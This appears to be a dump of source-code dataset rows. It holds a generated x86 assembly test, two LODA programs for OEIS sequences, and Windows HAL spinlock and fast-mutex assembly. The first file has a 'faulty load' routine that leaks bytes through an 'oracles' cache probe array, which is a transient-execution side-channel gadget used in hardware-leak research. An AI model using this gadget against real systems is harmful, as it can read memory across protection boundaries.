] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r13
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0x2ef3, %rsi
clflush (%rsi)
nop
sub %r12, %r12
mov (%rsi), %r10d
nop
add %rdi, %rdi
lea addresses_WT_ht+0x14c6b, %rsi
lea addresses_WT_ht+0x312b, %rdi
nop
dec %r10
mov $72, %rcx
rep movsq
add $35252, %r10
lea addresses_WT_ht+0xc92b, %rsi
lea addresses_A_ht+0x625b, %rdi
nop
and %r13, %r13
mov $94, %rcx
rep movsb
nop
nop
nop
xor %r12, %r12
pop %rsi
pop %rdi
pop %rcx
pop %r13
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r12
push %r14
push %r9
push %rcx
push %rdx
// Store
mov $0x12b, %r9
nop
nop
nop
nop
dec %r12
movw $0x5152, (%r9)
nop
nop
nop
nop
xor $13294, %rdx
// Faulty Load
mov $0x12b, %rcx
nop
nop
sub %r14, %r14
movntdqa (%rcx), %xmm7
vpextrq $0, %xmm7, %r11
lea oracles, %r9
and $0xff, %r11
shlq $12, %r11
mov (%r9,%r11,1), %r11
pop %rdx
pop %rcx
pop %r9
pop %r14
pop %r12
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_P', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_P', 'size': 2, 'AVXalign': False}}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': True, 'type': 'addresses_P', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_normal_ht', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': False}}
{'src': {'type': 'addresses_WT_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 3, 'same': False}}
{'9a': 3, 'ec': 4, '66': 2, 'a2': 2, '4e': 1, '2e': 4, 'fc': 3, 'd0': 5, '30': 2, '7c': 5, '3a': 2, '6e': 6, '54': 1, '24': 4, 'be': 1, '72': 1, 'b8': 2, '82': 5, '3e': 2, 'c6': 2, '0a': 1, '62': 3, '38': 3, 'de': 3, 'ae': 2, '7a': 2, '42': 2, '34': 1, 'b6': 4, '40': 1, '20': 1, '3c': 1, 'ba': 2, 'fe': 2, 'f0': 3, '1a': 1, 'e0': 2, 'aa': 3, 'c8': 1, '8a': 1, '5e': 3, '7e': 1, 'd4': 4, '60': 3, '28': 8, '1c': 1, '76': 3, '18': 1, '70': 4, '5a': 3, '08': 2, 'd2': 1, '46': 1, 'b0': 3, 'b2': 1, '32': 4, '68': 6, 'f4': 1, 'c2': 3, 'f6': 2, '90': 3, '04': 2, '96': 1, '92': 2, 'e4': 2, '4c': 1, '10': 3, '5c': 4, 'ce': 3, '0c': 3, '26': 3, '44': 3, 'f2': 3, 'e2': 1, '00': 408, '22': 3, '8e': 3, 'd6': 3, '48': 1, '52': 21123, 'ea': 1, '06': 2, 'fa': 2, '94': 2, '2a': 2, 'e8': 4, '80': 4, '9c': 6, '84': 2, '1e': 4, 'c0': 1, '4a': 1, '74': 1, 'da': 2, 'bc': 6, 'b4': 4, 'd8': 4, '64': 2, '78': 3, '8c': 2, '50': 1, 'ac': 5, 'a8': 3, 'a6': 3, '9e': 2, '0e': 3, 'a0': 3, '86': 4, '02': 3, '98': 1, '16': 5, 'cc': 3, 'f8': 2, 'c4': 1, '36': 2, 'ee': 4, 'dc': 3}
52 52 52 0c 52 52 52 52 52 52 52 0a 52 52 a0 52 52 52 76 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 aa 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 1e 52 52 00 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 22 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 0c 52 52 52 52 52 52 52 52 52 52 52 52 52 00 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 cc 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 00 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 36 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52
*/
| 59.545455 | 2,999 | 0.601018 |
318c9023994b6c4667083b8515b506895e5e236d | 415 | asm | Assembly | oeis/177/A177699.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/177/A177699.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/177/A177699.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A177699: E.g.f.: log(1+x)*sinh(x).
; Submitted by Jon Maiga
; 0,0,2,-3,12,-40,190,-1071,7224,-56232,495898,-4880755,53005700,-629398848,8110146070,-112690225935,1679413757168,-26719024870576,451969255722162,-8099650628337987,153288815339260796
mov $4,$0
add $0,1
lpb $0
sub $0,1
max $0,1
mov $2,$1
mod $2,2
mov $3,$4
bin $3,$1
add $1,1
mul $3,$2
mul $5,$0
div $5,-1
add $5,$3
lpe
mov $0,$5
| 19.761905 | 183 | 0.645783 |
11e0938755eb0bb570cc015e5a4d97c56c779447 | 772 | asm | Assembly | oeis/138/A138772.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/138/A138772.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/138/A138772.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A138772: Number of entries in the second cycles of all permutations of {1,2,...,n}; each cycle is written with the smallest element first and cycles are arranged in increasing order of their first elements.
; 0,1,5,27,168,1200,9720,88200,887040,9797760,117936000,1536796800,21555072000,323805081600,5187108326400,88268019840000,1590132031488000,30233431388160000,605024315191296000,12711912992722944000,279783730940313600000,6437458713635389440000,154550100069421056000000,3864876502463304007680000,100512641080784789176320000,2714461757582922547200000000,76020440422365162307584000000,2204996063709716312555520000000,66160770780741907728826368000000,2051288782547610853454118912000000
mov $1,$0
mov $2,6
lpb $1
mul $0,$1
sub $1,1
add $2,2
lpe
mul $0,$2
div $0,8
| 59.384615 | 478 | 0.84456 |
40ea02f43c5a4c4400b006741a625a681bbbdcca | 701 | asm | Assembly | oeis/098/A098303.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/098/A098303.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/098/A098303.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A098303: Member r=18 of the family of Chebyshev sequences S_r(n) defined in A092184.
; Submitted by Christian Krause
; 0,1,18,289,4608,73441,1170450,18653761,297289728,4737981889,75510420498,1203428746081,19179349516800,305666163522721,4871479266846738,77638002106025089,1237336554429554688,19719746868766849921,314278613345840044050,5008738066664673854881,79825530453288941634048,1272199749185958392289889,20275370456522045335004178,323133727555166766967776961,5149864270426146226149427200,82074694599263172851423058241,1308045249317784619396619504658,20846649294485290737494489016289
mov $3,1
lpb $0
sub $0,1
mul $1,15
add $3,$1
add $2,$3
mov $1,$2
sub $3,$2
add $3,2
lpe
mov $0,$1
| 43.8125 | 468 | 0.834522 |
4c1bdc2b0865ec23b5023311cf33364e4a9ae8f3 | 3,861 | asm | Assembly | kernel/src/interrupts.asm | povilasb/simple-os | 3d575f43196c737031bdbdb153832a8a16f107c2 | [
"MIT"
] | 46 | 2015-08-19T16:08:00.000Z | 2022-03-15T08:39:30.000Z | kernel/src/interrupts.asm | povilasb/simple-os | 3d575f43196c737031bdbdb153832a8a16f107c2 | [
"MIT"
] | 2 | 2017-06-23T07:30:13.000Z | 2017-07-10T16:44:31.000Z | kernel/src/interrupts.asm | povilasb/simple-os | 3d575f43196c737031bdbdb153832a8a16f107c2 | [
"MIT"
] | 15 | 2018-03-16T18:25:26.000Z | 2021-10-06T10:15:49.000Z | [EXTERN int0xUnknown_handler]
[EXTERN int0x80_handler]
[EXTERN int0x20_handler]
[EXTERN int0x21_handler]
[EXTERN int0x8_handler]
[EXTERN int0xB_handler]
[EXTERN int0xC_handler]
[EXTERN int0xD_handler]
[EXTERN int0xE_handler]
[EXTERN int0xF_handler]
[GLOBAL isr0xUnknown]
isr0xUnknown:
cli
pusha
mov ax, 0x10 ;data segment
mov ds, ax
mov es, ax
mov gs, ax
mov fs, ax
mov ss, ax
call int0xUnknown_handler
mov eax, 0x10
mov ss, ax
mov ds, ax
mov es, ax
mov fs, ax
mov gs, ax
popa
iret
[GLOBAL isr0x80]
isr0x80:
cli
pusha
mov ax, 0x10 ;data segment
mov ds, ax
mov es, ax
mov gs, ax
mov fs, ax
mov ss, ax
call int0x80_handler
mov eax, 0x10
mov ss, ax
mov ds, ax
mov es, ax
mov fs, ax
mov gs, ax
popa
sti
iret
[GLOBAL isr0x20]
isr0x20:
cli
pusha
mov ax, ds
mov ax, 0x10 ;data segment
mov ds, ax
mov es, ax
mov gs, ax
mov fs, ax
mov ss, ax
call int0x20_handler
mov eax, 0x10
mov ds, ax
mov es, ax
mov fs, ax
mov gs, ax
mov ss, ax
popa
sti
iret
[GLOBAL isr0x21]
isr0x21:
cli
pusha
mov ax, ds
mov ax, 0x10 ;data segment
mov ds, ax
mov es, ax
mov gs, ax
mov fs, ax
mov ss, ax
call int0x21_handler
mov eax, 0x10
mov ds, ax
mov es, ax
mov fs, ax
mov gs, ax
mov ss, ax
popa
sti
iret
[GLOBAL isr0x8] ;double fault
isr0x8:
cli
pusha
mov ax, ds
push eax
mov ax, 0x10 ;data segment
mov ds, ax
mov es, ax
mov gs, ax
mov fs, ax
mov ss, ax
call int0x8_handler
pop eax
mov ds, ax
mov es, ax
mov fs, ax
mov gs, ax
mov ss, ax
popa
sti
iret
[GLOBAL isr0xB] ;segment not present, pushes error code
isr0xB:
cli
pusha
mov ax, 0x10 ;data segment
mov ds, ax
mov es, ax
mov gs, ax
mov fs, ax
mov ss, ax
call int0xB_handler
mov ax, 0x10
mov ds, ax
mov es, ax
mov fs, ax
mov gs, ax
mov ss, ax
popa
sti
iret
[GLOBAL isr0xC] ;stack fault
isr0xC:
cli
pusha
mov ax, ds
push eax
mov ax, 0x10 ;data segment
mov ds, ax
mov es, ax
mov gs, ax
mov fs, ax
mov ss, ax
call int0xC_handler
pop eax
mov ds, ax
mov es, ax
mov fs, ax
mov gs, ax
mov ss, ax
popa
sti
iret
[GLOBAL isr0xD] ;general protection fault
isr0xD:
cli
pusha
mov ax, ds
push eax
mov ax, 0x10 ;data segment
mov ds, ax
mov es, ax
mov gs, ax
mov fs, ax
mov ss, ax
call int0xD_handler
pop eax
mov ds, ax
mov es, ax
mov fs, ax
mov gs, ax
mov ss, ax
popa
sti
iret
[GLOBAL isr0xE] ;page fault, pushes error code
isr0xE:
cli
mov ebp, esp
pusha
mov ax, ds
push eax
mov ax, 0x10 ;data segment
mov ds, ax
mov es, ax
mov gs, ax
mov fs, ax
mov ss, ax
mov eax, cr2
push eax
call int0xE_handler
pop eax
mov ds, ax
mov es, ax
mov fs, ax
mov gs, ax
mov ss, ax
popa
sti
iret
[GLOBAL isr0xF] ;unknown interrupt
isr0xF:
cli
pusha
mov ax, ds
push eax
mov ax, 0x10 ;data segment
mov ds, ax
mov es, ax
mov gs, ax
mov fs, ax
mov ss, ax
call int0xF_handler
pop eax
mov ds, ax
mov es, ax
mov fs, ax
mov gs, ax
mov ss, ax
popa
sti
iret | 15.141176 | 56 | 0.514375 |
99cbe5ba055fc54ff534f9b006f1cea067f54c9e | 33,475 | asm | Assembly | base/hals/halx86/i386/ixlock.asm | npocmaka/Windows-Server-2003 | 5c6fe3db626b63a384230a1aa6b92ac416b0765f | [
"Unlicense"
] | 17 | 2020-11-13T13:42:52.000Z | 2021-09-16T09:13:13.000Z | base/hals/halx86/i386/ixlock.asm | sancho1952007/Windows-Server-2003 | 5c6fe3db626b63a384230a1aa6b92ac416b0765f | [
"Unlicense"
] | 2 | 2020-10-19T08:02:06.000Z | 2020-10-19T08:23:18.000Z | base/hals/halx86/i386/ixlock.asm | sancho1952007/Windows-Server-2003 | 5c6fe3db626b63a384230a1aa6b92ac416b0765f | [
"Unlicense"
] | 14 | 2020-11-14T09:43:20.000Z | 2021-08-28T08:59:57.000Z | title "Irql Processing"
;++
;
; Copyright (c) 1989 Microsoft Corporation
;
; Module Name:
;
; ixlock.asm
;
; Abstract:
;
; This module implements various locking functions optimized for this hal.
;
; Author:
;
; Ken Reneris (kenr) 21-April-1994
;
; Environment:
;
; Kernel mode only.
;
; Revision History:
;
;--
.486p
.xlist
include hal386.inc
include callconv.inc ; calling convention macros
include i386\ix8259.inc
include i386\kimacro.inc
include mac386.inc
.list
EXTRNP _KeBugCheckEx,5,IMPORT
EXTRNP _KeSetEventBoostPriority, 2, IMPORT
EXTRNP _KeWaitForSingleObject,5, IMPORT
extrn FindHigherIrqlMask:DWORD
extrn SWInterruptHandlerTable:DWORD
EXTRNP _KeRaiseIrql,2
EXTRNP _KeLowerIrql,1
ifdef NT_UP
LOCK_ADD equ add
LOCK_DEC equ dec
LOCK_CMPXCHG equ cmpxchg
else
LOCK_ADD equ lock add
LOCK_DEC equ lock dec
LOCK_CMPXCHG equ lock cmpxchg
endif
_TEXT$01 SEGMENT PARA PUBLIC 'CODE'
ASSUME DS:FLAT, ES:FLAT, SS:FLAT, FS:NOTHING, GS:NOTHING
PAGE
subttl "AcquireSpinLock"
;++
;
; KIRQL
; KfAcquireSpinLock (
; IN PKSPIN_LOCK SpinLock
; )
;
; Routine Description:
;
; This function raises to DISPATCH_LEVEL and then acquires a the
; kernel spin lock.
;
; In a UP hal spinlock serialization is accomplished by raising the
; IRQL to DISPATCH_LEVEL. The SpinLock is not used; however, for
; debugging purposes if the UP hal is compiled with the NT_UP flag
; not set (ie, MP) we take the SpinLock.
;
; Arguments:
;
; (ecx) = SpinLock Supplies a pointer to an kernel spin lock.
;
; Return Value:
;
; OldIrql
;
;--
cPublicFastCall KfAcquireSpinLock,1
cPublicFpo 0,0
mov eax, PCR[PcIrql] ; (eax) = Old Irql
mov dword ptr PCR[PcIrql], DISPATCH_LEVEL ; set new irql
ifndef NT_UP
asl10: ACQUIRE_SPINLOCK ecx,<short asl20>
endif
ifdef IRQL_METRICS
inc HalRaiseIrqlCount
endif
if DBG
cmp al, DISPATCH_LEVEL ; old > new?
ja short asl99 ; yes, go bugcheck
endif
fstRET KfAcquireSpinLock
ifndef NT_UP
asl20: SPIN_ON_SPINLOCK ecx,<short asl10>
endif
if DBG
cPublicFpo 2,1
asl99: movzx eax, al
stdCall _KeBugCheckEx,<IRQL_NOT_GREATER_OR_EQUAL,eax,DISPATCH_LEVEL,0,1>
; never returns
endif
fstRET KfAcquireSpinLock
fstENDP KfAcquireSpinLock
;++
;
; KIRQL
; KeAcquireSpinLockRaiseToSynch (
; IN PKSPIN_LOCK SpinLock
; )
;
; Routine Description:
;
; This function acquires the SpinLock at SYNCH_LEVEL. The function
; is optmized for hoter locks (the lock is tested before acquired.
; Any spin should occur at OldIrql; however, since this is a UP hal
; we don't have the code for it)
;
; In a UP hal spinlock serialization is accomplished by raising the
; IRQL to SYNCH_LEVEL. The SpinLock is not used; however, for
; debugging purposes if the UP hal is compiled with the NT_UP flag
; not set (ie, MP) we take the SpinLock.
;
; Arguments:
;
; (ecx) = SpinLock Supplies a pointer to an kernel spin lock.
;
; Return Value:
;
; OldIrql
;
;--
cPublicFastCall KeAcquireSpinLockRaiseToSynch,1
cPublicFpo 0,0
mov eax, PCR[PcIrql] ; (eax) = Old Irql
mov dword ptr PCR[PcIrql], SYNCH_LEVEL ; set new irql
ifndef NT_UP
asls10: ACQUIRE_SPINLOCK ecx,<short asls20>
endif
ifdef IRQL_METRICS
inc HalRaiseIrqlCount
endif
if DBG
cmp al, SYNCH_LEVEL ; old > new?
ja short asls99 ; yes, go bugcheck
endif
fstRET KeAcquireSpinLockRaiseToSynch
ifndef NT_UP
asls20: SPIN_ON_SPINLOCK ecx,<short asls10>
endif
if DBG
cPublicFpo 2,1
asls99: movzx eax, al
stdCall _KeBugCheckEx,<IRQL_NOT_GREATER_OR_EQUAL,eax,SYNCH_LEVEL,0,2>
; never returns
endif
fstRET KeAcquireSpinLockRaiseToSynch
fstENDP KeAcquireSpinLockRaiseToSynch
PAGE
SUBTTL "Release Kernel Spin Lock"
;++
;
; VOID
; KfReleaseSpinLock (
; IN PKSPIN_LOCK SpinLock,
; IN KIRQL NewIrql
; )
;
; Routine Description:
;
; This function releases a kernel spin lock and lowers to the new irql
;
; In a UP hal spinlock serialization is accomplished by raising the
; IRQL to DISPATCH_LEVEL. The SpinLock is not used; however, for
; debugging purposes if the UP hal is compiled with the NT_UP flag
; not set (ie, MP) we use the SpinLock.
;
; Arguments:
;
; (ecx) = SpinLock Supplies a pointer to an executive spin lock.
; (dl) = NewIrql New irql value to set
;
; Return Value:
;
; None.
;
;--
align 16
cPublicFastCall KfReleaseSpinLock ,2
cPublicFpo 0,0
ifndef NT_UP
RELEASE_SPINLOCK ecx ; release it
endif
xor ecx, ecx
if DBG
cmp dl, PCR[PcIrql]
ja short rsl99
endif
pushfd
cli
movzx edx, dl
mov PCR[PcIrql], edx ; store old irql
mov cl, dl ; (ecx) = 32bit extended OldIrql
mov edx, PCR[PcIRR]
and edx, FindHigherIrqlMask[ecx*4] ; (edx) is the bitmask of
; pending interrupts we need to
jne short rsl20 ; dispatch now.
popfd
fstRet KfReleaseSpinLock ; all done
if DBG
rsl99: mov eax, PCR[PcIrql]
movzx edx, dl
stdCall _KeBugCheckEx,<IRQL_NOT_LESS_OR_EQUAL,eax,edx,0,3>
; never returns
endif
cPublicFpo 0,1
rsl20: bsr ecx, edx ; (ecx) = Pending irq level
cmp ecx, DISPATCH_LEVEL
jle short rsl40
mov eax, PCR[PcIDR] ; Clear all the interrupt
SET_8259_MASK ; masks
rsl40:
mov edx, 1
shl edx, cl
xor PCR[PcIRR], edx ; clear bit in IRR
call SWInterruptHandlerTable[ecx*4] ; Dispatch the pending int.
popfd
cPublicFpo 0, 0
fstRet KfReleaseSpinLock ; all done
fstENDP KfReleaseSpinLock
;++
;
; VOID
; FASTCALL
; ExAcquireFastMutex (
; IN PFAST_MUTEX FastMutex
; )
;
; Routine description:
;
; This function acquires ownership of the FastMutex
;
; Arguments:
;
; (ecx) = FastMutex - Supplies a pointer to the fast mutex
;
; Return Value:
;
; None.
;
;--
cPublicFastCall ExAcquireFastMutex,1
cPublicFpo 0,0
mov eax, PCR[PcIrql] ; (eax) = OldIrql
if DBG
cmp eax, APC_LEVEL ; Is OldIrql > NewIrql?
ja short afm99 ; Yes, bugcheck
pushfd
cli ; prevent swapcontext while
; snapping current thread.
mov edx, PCR[PcPrcb]
mov edx, [edx].PbCurrentThread ; (edx) = Current Thread
popfd
cmp [ecx].FmOwner, edx ; Already owned by this thread?
je short afm98 ; Yes, error
endif
mov dword ptr PCR[PcIrql], APC_LEVEL ; Set NewIrql
LOCK_DEC dword ptr [ecx].FmCount ; Get count
jnz short afm10 ; Not the owner, go wait.
;
; Leave a notion of owner behind.
;
; Note: if you change this, change ExAcquireFastMutexUnsafe.
;
if DBG
pushfd
cli ; prevent swapcontext while
; snapping current thread.
mov edx, PCR[PcPrcb]
mov edx, [edx].PbCurrentThread ; (edx) = Current Thread
popfd
mov [ecx].FmOwner, edx ; Save in Fast Mutex
else
;
; Use esp to track the owning thread for debugging purposes.
; !thread from kd will find the owning thread. Note that the
; owner isn't cleared on release, check if the mutex is owned
; first.
;
mov [ecx].FmOwner, esp
endif
mov dword ptr [ecx].FmOldIrql, eax
fstRet ExAcquireFastMutex
afm10:
inc dword ptr [ecx].FmContention
cPublicFpo 0,2
push eax ; save OldIrql
push ecx ; Save FAST_MUTEX
add ecx, FmEvent ; Wait on Event
stdCall _KeWaitForSingleObject,<ecx,WrExecutive,0,0,0>
pop ecx ; (ecx) = FAST_MUTEX
pop eax ; (al) = OldIrql
cPublicFpo 1,0
afm_ret:
;
; Leave a notion of owner behind.
;
; Note: if you change this, change ExAcquireFastMutexUnsafe.
;
if DBG
pushfd
cli ; prevent swapcontext while
; snapping current thread.
mov edx, PCR[PcPrcb]
mov edx, [edx].PbCurrentThread ; (edx) = Current Thread
popfd
mov [ecx].FmOwner, edx ; Save in Fast Mutex
else
;
; Use esp to track the owning thread for debugging purposes.
; !thread from kd will find the owning thread. Note that the
; owner isn't cleared on release, check if the mutex is owned
; first.
;
mov [ecx].FmOwner, esp
endif
mov byte ptr [ecx].FmOldIrql, al
fstRet ExAcquireFastMutex
if DBG
; KeBugCheckEx(MUTEX_ALREADY_OWNED, FastMutex, CurrentThread, 0, 4)
; (never returns)
afm98: stdCall _KeBugCheckEx,<MUTEX_ALREADY_OWNED,ecx,edx,0,4>
; KeBugCheckEx(IRQL_NOT_LESS_OR_EQUAL, CurrentIrql, APC_LEVEL, 0, 5)
; (never returns)
afm99: movzx eax, al
stdCall _KeBugCheckEx,<IRQL_NOT_LESS_OR_EQUAL,eax,APC_LEVEL,0,5>
fstRet ExAcquireFastMutex
endif
fstENDP ExAcquireFastMutex
;++
;
; VOID
; FASTCALL
; ExReleaseFastMutex (
; IN PFAST_MUTEX FastMutex
; )
;
; Routine description:
;
; This function releases ownership of the FastMutex
;
; Arguments:
;
; (ecx) = FastMutex - Supplies a pointer to the fast mutex
;
; Return Value:
;
; None.
;
;--
cPublicFastCall ExReleaseFastMutex,1
cPublicFpo 0,0
xor eax, eax
if DBG
pushfd
cli ; prevent swapcontext while
; snapping current thread.
mov edx, PCR[PcPrcb]
mov edx, [edx].PbCurrentThread ; (edx) = CurrentThread
popfd
cmp [ecx].FmOwner, edx ; Owner == CurrentThread?
jne short rfm_threaderror ; No, bugcheck
or byte ptr [ecx].FmOwner, 1 ; not the owner anymore
endif
mov al, byte ptr [ecx].FmOldIrql ; (eax) = OldIrql
LOCK_ADD dword ptr [ecx].FmCount, 1 ; Remove our count
js short rfm05 ; if < 0, set event
jnz short rfm10 ; if != 0, don't set event
rfm05:
cPublicFpo 0,2
push eax ; Save OldIrql
add ecx, FmEvent
stdCall _KeSetEventBoostPriority, <ecx, 0>
pop eax
cPublicFpo 0,0
rfm10:
cli
mov PCR[PcIrql], eax
mov edx, PCR[PcIRR]
and edx, FindHigherIrqlMask[eax*4] ; (edx) is the bitmask of
; pending interrupts we need to
jne short rfm20 ; dispatch now.
sti
fstRet ExReleaseFastMutex ; all done
if DBG
; KeBugCheck(THREAD_NOT_MUTEX_OWNER, FastMutex, Thread, Owner, 6)
; (never returns)
rfm_threaderror:
stdCall _KeBugCheckEx,<THREAD_NOT_MUTEX_OWNER,ecx,edx,[ecx].FmOwner,6>
endif
rfm20: bsr ecx, edx ; (ecx) = Pending irq level
cmp ecx, DISPATCH_LEVEL
jle short rfm40
mov eax, PCR[PcIDR] ; Clear all the interrupt
SET_8259_MASK ; masks
rfm40:
mov edx, 1
shl edx, cl
xor PCR[PcIRR], edx ; clear bit in IRR
call SWInterruptHandlerTable[ecx*4] ; Dispatch the pending int.
sti
fstRet ExReleaseFastMutex ; all done
fstENDP ExReleaseFastMutex
;++
;
; BOOLEAN
; FASTCALL
; ExTryToAcquireFastMutex (
; IN PFAST_MUTEX FastMutex
; )
;
; Routine description:
;
; This function acquires ownership of the FastMutex
;
; Arguments:
;
; (ecx) = FastMutex - Supplies a pointer to the fast mutex
;
; Return Value:
;
; Returns TRUE if the FAST_MUTEX was acquired; otherwise false
;
;--
cPublicFastCall ExTryToAcquireFastMutex,1
cPublicFpo 0,0
if DBG
mov eax, PCR[PcIrql] ; (al) = OldIrql
cmp eax, APC_LEVEL ; Is OldIrql > NewIrql?
ja short tam99 ; Yes, bugcheck
push eax ; Save OldIrql
else
push dword ptr PCR[PcIrql] ; Save OldIrql
endif
;
; Try to acquire.
;
mov edx, 0 ; Value to set
mov eax, 1 ; Value to compare against
mov dword ptr PCR[PcIrql], APC_LEVEL
LOCK_CMPXCHG dword ptr [ecx].FmCount, edx ; Attempt to acquire
jnz short tam20 ; got it?
pop dword ptr [ecx].FmOldIrql ; Store OldIrql
if DBG
pushfd
cli ; prevent swapcontext while
; snapping current thread.
mov edx, PCR[PcPrcb]
mov edx, [edx].PbCurrentThread ; (edx) = Current Thread
popfd
mov [ecx].FmOwner, edx ; Save in Fast Mutex
else
;
; Use esp to track the owning thread for debugging purposes.
; !thread from kd will find the owning thread. Note that the
; owner isn't cleared on release, check if the mutex is owned
; first.
;
mov dword ptr [ecx].FmOwner, esp
endif
mov eax, 1 ; return TRUE
fstRet ExTryToAcquireFastMutex
tam20: pop dword ptr PCR[PcIrql] ; restore entry Irql
YIELD
xor eax, eax ; return FALSE
fstRet ExTryToAcquireFastMutex ; all done
if DBG
; KeBugCheckEx(IRQL_NOT_LESS_OR_EQUAL, CurrentIrql, APC_LEVEL, 0, 5)
; (never returns)
tam99: movzx eax, al
stdCall _KeBugCheckEx,<IRQL_NOT_LESS_OR_EQUAL,eax,APC_LEVEL,0,7>
